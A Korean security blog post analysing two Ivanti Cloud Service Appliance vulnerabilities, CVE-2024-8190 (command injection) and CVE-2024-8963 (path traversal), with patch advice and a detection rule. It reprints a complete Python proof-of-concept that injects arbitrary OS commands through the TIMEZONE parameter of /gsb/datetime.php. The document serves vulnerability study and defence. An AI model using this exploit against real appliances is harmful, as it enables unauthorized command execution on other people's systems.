꼰머의 보안공부

1. CVE-2024-8190

- Ivanti Cloud Service Appliance(CSA)에서 발생하는 OS 명령 삽입 취약점

> 공격자가 해당 취약점을 악용하기 위해서 관리자 수준의 권한이 있어야 함

영향받는 버전: Ivanti CSA 4.6

- DateTimeTab.php의 handleDateTimeSubmit() [2]

> HTTP 요청을 구문 분석
> TIMEZONE 파라미터를 인수로 setSystemTimezone() 호출

- DateTimeTab.php의 setSystemTimezone()는 변수에 대한 검증없이 exec() 호출

- 공개된 PoC 확인 시 /gsb/datetime.php URL로 POST 요청 및 TIMEZONE 변수에 OS 명령 삽입 [3]
> CSA는 admin:admin의 기본 자격 증명을 제공하며, 해당 자격 증명으로 로그인 시 비밀번호 업데이트를 강제
> 침해가 발생하거나 공격을 받은 시스템의 경우 로그인한 적이 없거나, 취약한 비밀번호를 사용한 것으로 판단됨

#!/usr/bin/python3
import argparse
import re
import requests
import sys
import urllib3
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)



def exploit(url, username, password, command):
    u = username
    p = password
    s = requests.Session()
    r = s.get(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False)
    m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
    if m:
        ldcsa = m.group(1)
        print(f"[+] Got LDCSA_CSRF value: {ldcsa}")
    else:
        print(f"[-] Failed getting LDCSA_CRSF token")
        sys.exit(0)

    payload = {
        "dateTimeFormSubmitted": "1",
        "TIMEZONE": f"; `{command}` ;",
        "CYEAR": "2024",
        "CMONTH": "9",
        "CDAY": "13",
        "CHOUR": "12",
        "CMIN": "34",
        "LDCSA_CSRF": ldcsa,
        "SUBMIT_TIME": "Save"
    }
    print(f"[*] Sending payload...")
    r = s.post(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False, data=payload)


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
    parser.add_argument('--username', help='The application username', required=True)
    parser.add_argument('--password', help='The application password', required=True)
    parser.add_argument('-c', '--command', help='The command to execute blind', type=str, required=True)
    args = parser.parse_args()

    exploit(args.url, args.username, args.password, args.command)

1.1 CVE-2024-8963

- Ivanti CSA에서 발생하는 경로 탐색 취약점 (CVSS: 9.1)
> 익스플로잇에 성공한 공격자는 인증을 우회하여 제한된 기능에 액세스할 수 있음
> CVE-2024-8190와 함께 악용할 경우 공격자는 인증을 우회하여 임의의 명령을 실행할 수 있음

영향받는 버전: Ivanti CSA 4.6

- 벤더사는 업데이트 제공 [5][6]

> 입력값에 대한 검증 과정 추가
> CSA 4.6 버전은 EoL(지원 종료)로 더 이상 지원되지 않아 빠른 업데이트 필요 [7]

- 탐지 패턴 적용

(flow:to_server,established; content:"/gsb/datetime.php"; http_uri; content:"TIMEZONE"; nocase; http_uri;)

2. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-8190
[2] https://www.horizon3.ai/attack-research/cisa-kev-cve-2024-8190-ivanti-csa-command-injection/
[3] https://github.com/horizon3ai/CVE-2024-8190
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-8963
[5] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Cloud-Service-Appliance-CSA-CVE-2024-8190?language=en_US
[6] https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-CSA-4-6-Cloud-Services-Appliance-CVE-2024-8963?language=en_US
[7] https://forums.ivanti.com/s/article/Ivanti-Endpoint-Manager-and-Ivanti-Endpoint-Manager-Security-Suite-EOL?language=en_US#:~:text=CSA%20Physical%20hardware%20will%20be,Fixes%20Only:%20Additional%20twelve%20months.
[8] https://securityaffairs.com/168617/security/ivanti-cloud-services-appliance-cve-2024-8963.html
[9] https://thehackernews.com/2024/09/ivanti-warns-of-active-exploitation-of.html
[10] https://thehackernews.com/2024/09/critical-ivanti-cloud-appliance.html